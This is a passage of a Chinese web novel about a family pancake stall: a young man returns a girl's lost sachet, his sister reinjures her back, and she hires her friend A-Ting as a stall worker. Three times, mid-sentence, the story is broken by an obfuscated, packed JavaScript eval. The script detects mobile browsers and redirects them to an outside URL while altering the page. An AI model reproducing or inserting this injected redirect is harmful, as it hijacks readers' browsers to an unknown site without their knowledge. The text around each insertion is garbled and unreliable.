忙起来的时候,同时有好几个客人在和陈瑞平说话,他也不敢有丝毫怠慢,只得一个个地答过去。 一个早上匆匆过完,他早已忙得精疲力尽,脑子同浆糊一般,连思考的力气都没有了。 待到街上的人终于少了下来,摊位前难得地清净了一会儿,那只藏在怀里的香囊,才又一次占据了他的思绪。 按理说,乔氏麻花店就在小摊的对面,不过是抬脚的距离,十分便利,他早该主动把香囊归还给乔秀珠才对。 可是,要独自离开摊位去找乔秀珠,他不知道该怎么跟妹妹解释。 其实,拾到别人的东西,再物归原主,这是再正常不过的事了,有什么难以启齿的呢? 无非是他心自己虚罢了。 又或者,其实在他内心深处,根本就不想将这只香囊归还回去。 那日榕树巷里,雪光映着霞光,他和乔秀珠两人并排走着,不说话,就十分美好。 这只香囊是唯一的见证。 他像是刻舟求剑的故事里的那个人,固执地以为,凭着这只香囊,好像就还能回到当时梦境般的场景。 忽然,陈瑞平清醒过来,懊恼地拍了拍自己的脑袋。 不,不行。陈瑞平,你怎么这么糊涂? 乔秀珠是一个未出嫁的大姑娘,她的香囊,落在他这样一个年轻男子的手里,这算怎么回事?倘若被人发现了,岂不是有损乔姑娘的名声! 即使不叫外人知道,不也太不尊重、太亵渎了乔姑娘吗? 那日他的冒失,或许已经对乔秀珠造成了困扰,他又岂能能一错再错,为了满足自己那一点点私心,继续将香囊留在自己手中! 不行,必须把香囊尽快归还给乔秀珠,不能再让她为此而担忧。 他深吸一口气,立马收了摊子,向乔氏麻花店走去。 偏巧,就在他进麻花店的前脚,店里正好来了两个客人。 乔秀珠正娴熟地招待客人,忽然瞥见陈瑞平进来,便分出神来问他:“诶,是你?有什么事情吗?” 陈瑞平当着人,总不能说自己是来还香囊的,一时嗯嗯啊啊答不出来。 反倒是乔秀珠,自小就长在店里,同鱼龙混杂的客人打着交道,练出一副好眼力见。 她一眼就看出了陈瑞平的尴尬,也没有多问,只是温声叮嘱他道:“你稍等,我忙完就过来。” 陈瑞平感激地看了乔秀珠一眼,点了点头,静静候在一旁。 然而这一大早,也不知怎么的,麻花店生意竟格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256377|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外好。这几个客人还没走,竟又陆陆续续地进来了一批客人。 陈瑞平还急着收摊回家,再去衙门上差。时间一分一秒地过去,他不由得搓手跺脚,显出些焦急之态。 他正低着头盘算,一会儿去衙门,迟到了该怎么解释,不料一抬头,乔秀珠竟已站在面前。 乔秀珠道:“我让他们自己先随便看看了。你快说吧,别耽误你的差事。” 陈瑞平慌乱地掏出香囊,道:“乔姑娘,这个……这个是你的香囊吧,之前我捡到了,一直想着要还给你,拖到现在,实在对不住。” 他紧张得声音有些颤抖,双手托着,把香囊递了过去。 “什么乔姑娘,听着多怪!叫我秀珠就好。”乔秀珠借过香囊,忍不住笑出声来,“原来是你捡到了,我还以为丢了呢。多谢。” 还完香囊,陈瑞平还没有离开的意思。乔秀珠疑惑道:“还有什么事么?” 陈瑞平深吸了一口气,鼓起勇气道:“那日……是我太冒失了。如果冒犯了你,请你见谅。” “什么冒失?哪日?”乔秀珠歪着头,看起来很困惑。 陈瑞平支支吾吾了半晌,好不容易挤出几个字:“就……那日!在我家巷子里。” “我去你家拜年那日?那日怎么了?” 陈瑞平实在说不出口,脸涨得通红。 “噢!我想起来了。”乔秀珠突然恍然大悟。 陈瑞平没有如释重负,反而更紧张了,简直想找个地缝钻进去。 乔秀珠却道:“完全不冒犯呀,你怎么会这么想?其实……我很感激。” 陈瑞平的眼睛顿时亮起来。他张了张嘴,还想说点什么,可那边几个客人已经挑好,喊乔秀珠过去:“老板,这个帮我称一斤。” 乔秀珠于是叫他回去路上小心,转身先去忙了。 陈瑞平心里荡起了层层叠叠的涟漪。 他挑着挑子回家,一路上竟也不觉得担子重了,整个人有些飘飘然,仿佛踩在云端。 这厢,陈瑞平这个干活儿的不觉得累;那厢,陈瑞安那个在家躺着的,却过得百无聊赖,恨不得马上康复,好继续去挣钱。 陈瑞安在床上躺了区区半天,已经感到度日如年了。 她闲不住,找来算盘,在床上练手;练着练着,忽然灵机一动,想到可以把自己这些天的账目拿来实践一番。 于是,她全神贯注地算起来,可没算多久,就被张金花发现了。 张金花把她的算盘夺走:“说了不要侧躺不要侧躺——你现在是病人,需要静养!不许再看这些了。” “那我干什么啊?我已经睡了这么久,再睡也睡不着了。”陈瑞安叫苦不迭。 “你什么也不干,就躺在这里,发发呆、听听鸟叫,不行吗?”张金花反问。 陈瑞安竖起耳朵仔细听了听,没听见鸟叫,只听见鸡叫。 说到鸡—— “我不在,青青肯定整天就惦记着跟她那只鹅玩了。” 张金花恨铁不成钢,拿账本敲她脑袋:“你真是没有享福的命!” 22. 不会带团队,你就只能干到死 在整整听了五天鸟叫之后,陈瑞安终于忍无可忍,一骨碌从床上爬起来,宣布自己已经完全康复,要复工了。 对于这一决定,爹娘奶奶自是十分不赞同。 几人轮番上阵,纷纷用上了“过来人的经验”,苦口婆心劝她再多歇几天,落下病根可不是好玩的。 陈瑞平也不希望妹妹这么快复工,倒不只是因为顾念她的身体。 妹妹不在的这几天里,他每天摆摊累归累,但却有一样好处。乔秀珠惦念陈瑞安的病情,几乎每日都要到摊前来问一问。 因此,陈瑞平也就每天都有了同乔秀珠说两句话的机会。哪怕只是几句再简单不过的寒暄,也足够他一天到晚地傻乐了。 要是从前,照这样一比四的局面,陈瑞安想做的事是绝对做不成的。 但自从开始卖酱香饼、为家中带来最主要的经济来源后,陈瑞安俨然成为了家里的大功臣,家庭地位可以说是一飞冲天,说话变得十分有分量。 一家人饶是再不支持,也抵不过陈瑞安铁了心,也只好由着她去。 然而,无情的现实证明,不听老人言,吃亏在眼前。 仅仅是摆了一天的摊、上了一天的班,陈瑞安的腰就故态复萌,又下不来床了。 家里忙不迭帮她叫了郎中来看。 陈瑞安一瞧,嘿,巧了,这不就是上次那个差点用贵膏药骗了她钱的郎中吗? 郎中唉声叹气地检查了一番。 陈瑞安上次去看这位郎中的时候,他就爱发出奇怪的声音,因此陈瑞安不以为意,认为郎中是想夸大病情以骗钱。 “很严重吗?”陈瑞安开着玩笑,“难道我以后都要残疾了?” 郎中板着脸不语。 “大夫,您倒是说句话呀?”陈瑞安有点害怕了。 郎中捋着胡子,不紧不慢地道:“这病,老夫治不了啊。” 陈瑞安大骇:“真的假的?不至于吧?” “假的。”郎中翻个白眼,没好气地道,“我怎么说的?卧床卧床,最起码要七天。像你这样不遵医嘱的病人,叫我怎么治?我就是开多好的药给你也没有用!” 陈瑞安自知理亏,只好低头认错。 郎中又教训了她一顿后,给她施了针,再次千叮咛万嘱咐,这次一定要躺满半个月,这才走了。 七天变半个月,陈瑞安偷鸡不成蚀把米,白白多受十几日罪,很是后悔。 张金花犹数落她:“我当初就说了,叫你好好躺着,不要心急,你就是不听。怎么样,我没说错吧?” 陈瑞安嘴硬道:“那我干这一天还是有作用的,至少紧了紧青青的弦。而且,我今天去摊上,好有好几个客人关心我呢,我这不也维护了下客户关系嘛。” “什么客户关系,你哥在,不也一样吗?” 陈瑞安皱着鼻子看了一眼哥哥,却发现他脸上带着一种奇异的笑容,看起来心情格外好。 陈瑞安奇道:“陈瑞平,我要卧床修养,你怎么看起来很高兴的样子?” 陈瑞平试图把嘴角的笑压下去,可是怎么也压不下去,只好睁眼说瞎话:“不高兴,我特别伤心。” 就是呈现出来的效果很像阴阳怪气。 倒是爹,见陈瑞安无精打采的样子,主动提出要待在她的房间,陪她说说话解闷。 爹如今好多了,大顺帮忙给他做了张中空的椅子,他躺得累了,起来在这张椅子上坐大半个时辰,也不会觉得有什么不舒服。 爹道:“你瞧瞧,急着干活儿,结果还得歇更多时间,多亏!爹做了这么多年的生意,告诉你一个真理——身体是最大的本钱。” 陈瑞安还是有些郁闷:“那也得动起来,本钱才能变成真钱吧?我哥他一个人,虽然也能干,但是您看账本,比从前两个人一起干的时候,要少挣不少呢。” 爹来了兴致,果真拿过账本来看。 “也不是很多嘛。大概少……二成吧。” “二成多呢!”陈瑞安想起来都心痛。 一天少赚六十文,一个月可就小两千了! 爹想了想,问:“那少这二成多的原因是什么呢?” 陈瑞安其实早就自己分析过,被爹这么一问,立即娓娓道来:“最主要的原因是速度。一方面,哥他现在一人兼管出餐和招待,肯定比两个人分工要慢。另一方面呢,哥他煎饼的时间短,速度要本来就比我慢一些。 “哥招待客人不如我,也许也有一些关系。但我们酱香饼的生意其实已经很稳定了,大部分都是回头客,所以应该影响不大。” 爹听了陈瑞安的分析,只觉十分清晰明了,赞许地点点头:“说得很好。那你有没有考虑过,留你哥一个人做酱香饼,你去做其他的营生?酱香饼没了你,只损失二成生意的话,那你去另起一个别的摊子,收益会更高。” 陈瑞安扁扁嘴,道:“我其实也想过。但最终没有做呢,原因有三。第一,酱香饼摊的生意从第一天就很好,这有运气的成分。我另起一门生意,又要再投入钱,又不一定能成功。” 爹插嘴道:“没有投入、没有风险,也就不会有回报。你开始卖酱香饼的时候,也是带着这样的魄力去做的。” “……嗯,您说得对。”陈瑞安仔细回忆了当时的心态,“但是那时候实在太缺钱了,我想着总得找点出路嘛,做就做了,没想那么多。” 爹笑道:“这是什么道理,手里有点钱了,反而怕亏了?” 陈瑞安想了想,也觉得有些荒谬,不由得也跟着笑了:“还有第二第三个原因呢。第二,我们现在出摊,在早高峰的时间点,客人几乎是没有断过的。 她道:“我觉得,我们还没有发掘出酱香饼摊的最大潜力,总觉得有些亏。 “我想着等我做得更熟练,速度更快了,大概能摸索出已经做到顶了,再想其他的。” 爹示意陈瑞安先暂停,又提出了自己的观点:“目前限制你们产量的,不是速度,而是设备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271679|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀!负责招待的那个人,手里是闲着的,这个人就没有得到充分利用。如果增加一口锅,那就可以一个人看着两口锅煎饼,另一个人切饼、招待,这样才是最快的。” 陈瑞安立马发现了不可行之处:“但锅和炉子很重!我们两个人,带不动那么多东西。” “你之前不是设计了一辆车么?用那个推,总推得动吧?”爹曾经看过那张餐车的设计图,很是欣赏。 陈瑞安苦笑道:“但做一辆车出来很贵。万一做出来,发现其实生意又没有好到需要两口锅,岂不是很亏。我想着,靠我先摸索,总归更便宜些。” 爹摇摇头,道:“什么是‘顶’,这是摸索不出来的。生意场上瞬息万变,今天你的酱香饼受欢迎,明天别人又出了一个更受欢迎的,不就马上有变化了吗? “做生意,最要紧的是机遇。趁时机最好的时候,进场去赚一笔;不好了,不要恋战,立马就出来,去寻找下一个时机。 “死守着一样生意,那就不叫商人,叫贩夫走卒了。” 陈瑞安很无语:“……爹,我就是个摆摊的,我本来就是贩夫走卒。” 爹尴尬地笑了两声:“……呵呵,你将来会是很厉害的大商人的,呵呵。” 爹说的都有道理,但是要掏钱,陈瑞安还是有些迟疑,因此她继续表述她的第三点原因。 “第三,对于一个小摊来说,虽然两个人稍稍有点浪费,但一个人又实在太少了,做起来会很累。我看哥这几天,好像都瘦了。” 爹道:“那是因为你们两个都在同时做两份活儿。如果一个人只做酱香饼卖,不干别的,一个人手就足够了。” 但是陈家兄妹的工作都算是好工作,也无法割舍,只好把两个人拼起来,当一个人用。 一番谈话下来,爹得出了结论:“我建议你们,雇个人吧。每天只做辰时一个时辰,工钱不会高。要赚回工钱的本,绰绰有余。” 陈瑞安前世的爸妈是做的是卖早点这种小本生意,他们秉持着一个始终深深影响着陈瑞安的观点—— “工钱再少,总归是给别人了。自己干了,不就赚到自己手里了吗?” 爹叹气道:“你这么聪明的人,怎么想不通这么简单的道理?煎饼这样简单的事情,只要肯学,谁都能做;但你有一颗天生适合做商人的头脑,这才是独一无二的。 “小安,你靠你的头脑,把这一个时辰花在别的事情上,就能撬动比这大得多的财富。如果你硬要赚这点小钱,那你能得到的就只有——” 爹摊着手,指了指陈瑞安的身下的床:“一个坏掉的腰。” 陈瑞安想起了后世一本书的书名:《不会带团队,你就只能干到死》。 两人身残志坚,促膝长谈,均感到颇受益。 爹不愧是做了一二十年生意的商人,经验丰富而有全局观,分析鞭辟入里。 陈瑞安听得热血沸腾,说干就干,立马拿起纸笔,重新规划起自己的小生意来。 23. 雇工 从前定做挑子的时候,做木匠的大顺爹,曾经给陈瑞安设计的餐车报过价。据他所说,哪怕用最便宜的木料和五金件,只算成本价,一辆车最最起码也要花费五两银子。 这可真真不算是笔小钱了! 且不说陈瑞安一时半会儿拿不出这么多钱,就算能咬咬牙凑出来,这也是个需要反复斟酌、仔细考量的金额。 毕竟每一分钱都来之不易,必须得花在刀刃上。 更何况,如果要在餐车上再加一口锅的话,势必会用到更多的木料,对轮子的承重要求也更高。这样一来,价格一定还要更贵。 如果有这个钱,租个偏僻一些的门面都足够了。 划不来,实在划不来。 省钱是催生智慧的最大动力,陈瑞安想了一个折中的法子——不如再做半副挑子,只做有锅的那一半就行。 这样一来,既能满足增加一口锅的需求,造价也要低多了。 至于抬不动么,陈瑞安也想出了应对之策。 她打算连着原来那副挑子一起,寄存在乔秀珠家的麻花店里。 麻花店与小摊一路之隔,每日早晨抬过来、收摊了再抬回去,比起从家里大老远地挑过去,可省力太多了。 这样,需要每日从家里带过去的,只有饼胚、要烧的炭和酱料等零碎小玩意儿。咬咬牙,一个女孩子也独自做得到。 麻花店只有临街的部分是用来做生意的铺子,后面则是仓库、工坊,还有乔家一家人的住宿之处。 陈瑞安虽然不曾进去过,但也可以猜想,地方不会太小。 只要她给出的租金合适,应该好谈。 挑子占地很小,要支付的租金想必也不会太高,可以负担得起。 至于开拓新生意的事情……陈瑞安想了想,觉得确实可以再干点别的卖卖。 最好是那种小本经营的生意,这样即使没有成功,也不至于损失太多本钱。而且,考虑到她的身体状况,新的生意最好能相对轻松些,对她的腰比较友好。 只是一时之间,她还没有什么特别好的灵感。正好趁她在家养伤,有大把空闲的时间,可以好好想一想,从长计议。 雇人的事情,倒是可以提上日程了。 以现在的状况,即使等她的腰康复了,恐怕最好也不要每天站着卖酱香饼了。、 陈瑞安不熟练地打着算盘,仔仔细细地算了一笔账。要找一个每天早上一个时辰的兼职,假设一天付出去二十文钱的工钱。照目前的生意状况,大约能收回五十八文的的利润。 净利润不算太多,但蚊子肉也是肉,总比没得赚好。 再说,如果寄存挑子的事情顺利,多添了一口锅,还有更大的盈利空间。 那么,应该雇谁呢? 其实二十文的薪水放出去,愿意干的人应该有一大把。但知根知底的人,总归更好用。 陈瑞安心里有了人选——阿亭。 又老老实实卧床修养了几日,照郎中的嘱托,陈瑞安依然不能久坐、久站,但起来走动走动、串串门,还是可以的。 得了张金花勉为其难的许可,准她在巷子里放放风,陈瑞安第一件事,便是溜去了阿亭家。 阿亭正在帮她娘清理做豆腐的种种工具,抬头见陈瑞安来了,顿时露出甜美的笑容,很是高兴。 “小安!你怎么来了,腰好些了吗?”阿亭关切地问。 她时不时会去陈家探望这个小伙伴,但毕竟撂不开家务,往往没多久就要回家,总不能聊尽兴。 陈瑞安摆摆手示意自己没事,搬了椅子坐下,道:“好多了,但他们还只准我一天起来走半个时辰,愁死我了。我实在是闲不住,总想找点事情做。” 洗东西倒不急在一时,阿亭索性放下了手里的活儿,擦了擦手,走到陈瑞安身边坐下。 “你真该好好歇一歇才是。自从陈伯伯出事,我看你忙得脚不沾地,人都瘦了一大圈。我有时在巷子里看见你,都不忍心同你打招呼,怕耽误了你的事情,害你没得休息。” 阿亭仔细端详着陈瑞安的脸,隐约感觉养白了些、胖了些,这才满意。她知道陈瑞安这段时间为了家里的事情付出了太多,实在辛苦,不由心疼。 陈瑞安自然能领会阿亭的情谊,只是时间紧迫,顾不上寒暄。 她匆匆组织了下语言,开口道:“阿亭,郎中叮嘱我,千万不要久坐、久站,说这些太伤腰。可你也知道,我家现在卖酱香饼,做饼、熬酱、看摊,实在是不站不行。所以我想了想,打算雇一个人,看能不能代替我,每天早上同我哥一起去照看摊子。” 院子里阳光灿烂,阿亭洗过的棉布正晾晒在一旁,白得发光。那些做豆腐用的棉布,日复一日,浸透了豆浆里的油脂,时间一久,难免发黄发黑。阿亭有心,把草木灰、淘米水、无患子等等清洗材料,她试了个遍,又使力揉搓,凭着努力和耐心,把棉布洗得洁白如新。 阿亭做事仔细、用心,人品既可靠,模样又乖巧,邻里街坊没有不喜欢她的。 陈瑞安相信,阿亭一定能做好这份工作。 还没等她邀请,阿亭已经抢先一步道:“小安,你找到合适的人选了吗?没有的话,我想试一试。” 阿亭目光坚定,语气间透着一股果敢和自信,平日里的腼腆羞涩竟烟消云散,陈瑞安一时怔住。 “只需要早上去看摊子,对吧?那时候,我弟弟还没醒,我正好有空。我会做饭,力气也大,我能做好的。”阿亭语气笃定地道,眼中闪烁着渴望。 阿亭的弟弟阿力如今五岁多了,虽然不必不错眼地盯着,但毕竟还小,也还没到能放出去整日乱跑的年纪,还是得时时有人看着。 陈瑞安回过神来,忙不迭地点头道:“没错,没错。每日辰时略早些开始,加上来回的时间,刚好一个时辰。工作内容也不难的,无非是煎饼、切饼、招待客人这些活儿。交给你,我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351373|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定放心。” 阿亭听了,微微松了口气,高兴地道:“那太好了。小安,真谢谢你。你不知道,我看着你的样子有多羡慕,我多想像你一样出去挣钱。这下,总算能让我娘压力小一些了。” 前两年,陈瑞安教了阿亭娘促销方法后,阿亭娘的生意愈发好了,如今已经有了不少熟客,只认准她家的豆腐买。粮荒过后,阿亭娘也渐渐攒了些钱下来。只是,阿力慢慢大了,她心里盘算着,想多攒些钱,等过几年供阿力读书识字,这样将来阿力的路也能更宽一些。因此,阿亭娘做豆腐做得更加卖力。阿亭懂事,总想着替她分担。 陈瑞安这才想起,薪水的事还没提呢。 她原本计划给的是每日付给雇工二十文钱,可看阿亭刚才的意思,大有尽数上交给她娘之意。 她便留了个心眼,道:“是我谢谢你才对,帮我解决这么大一桩难题。对了,每日的工钱是十八文钱,每个月月底结算。你哪日若是有事来不了,提前告诉我一声,我去顶上就是了。” 阿亭已经很满意,眉开眼笑道:“我们家人食量小,这都够我们家一天的买菜钱了。小安,我真的很高兴。” 吃完饭时,陈瑞安把雇来阿亭帮忙的事告诉了家人。 张金花和奶奶都很高兴,都说阿亭是个好孩子,绝对错不了。 反倒是陈瑞平有些迟疑,问道:“那我跟阿亭,谁负责煎饼,谁负责招待客人呢?” “废话,难道指望你招待客人?”陈瑞安朝哥哥翻了个白眼,“我想好了,阿亭收钱找钱,你安心煎饼就是。阿亭没学过算术,好在我们的帐也简单,她有不会的,你帮一帮,我有空也教一教她。” 陈瑞平固然有些怕从此失去与乔秀珠独处的机会,却也是真心有些担忧。 他道:“阿亭的个性,同我倒有些像,不爱说话。她年纪又小,又是女孩儿,能行吗?” 张金花冷笑一声,道:“阿亭可比你有用多了!早几年,阿亭爹刚走的时候,留下来一屁股债。阿亭娘又早出晚归地卖豆腐赚钱,你当那些债主是靠谁打发走的?阿亭!” 奶奶也赞同地点点头:“真是好孩子。那么大丁点儿的小人,搭着凳子够灶台,给债主们做饭。债主吃饱喝足了,她就扑通一声跪下,硬把弟弟往他们怀里塞,一把鼻涕一把泪的,求他们把弟弟带走抵债。那谁敢要!只好灰溜溜地跑了。” 陈瑞平听得咂舌,心服口服。 他当时在学堂上学,没人同他八卦这些,陈瑞安却是知道这事的。 阿亭把债主伺候走了,她和大顺来找阿亭玩,阿亭不肯叫他们担心,小脸一抹,没事儿人似的,笑眯眯地问他们去哪玩儿。 如今,阿亭一家总算能过上些好日子了,大家都有些感慨。 能为小伙伴提供一个赚钱的机会,陈瑞安有些小自豪,也更期盼把生意做大一些。 翌日,阿亭娘却来了陈家,说是不同意阿亭去卖酱香饼。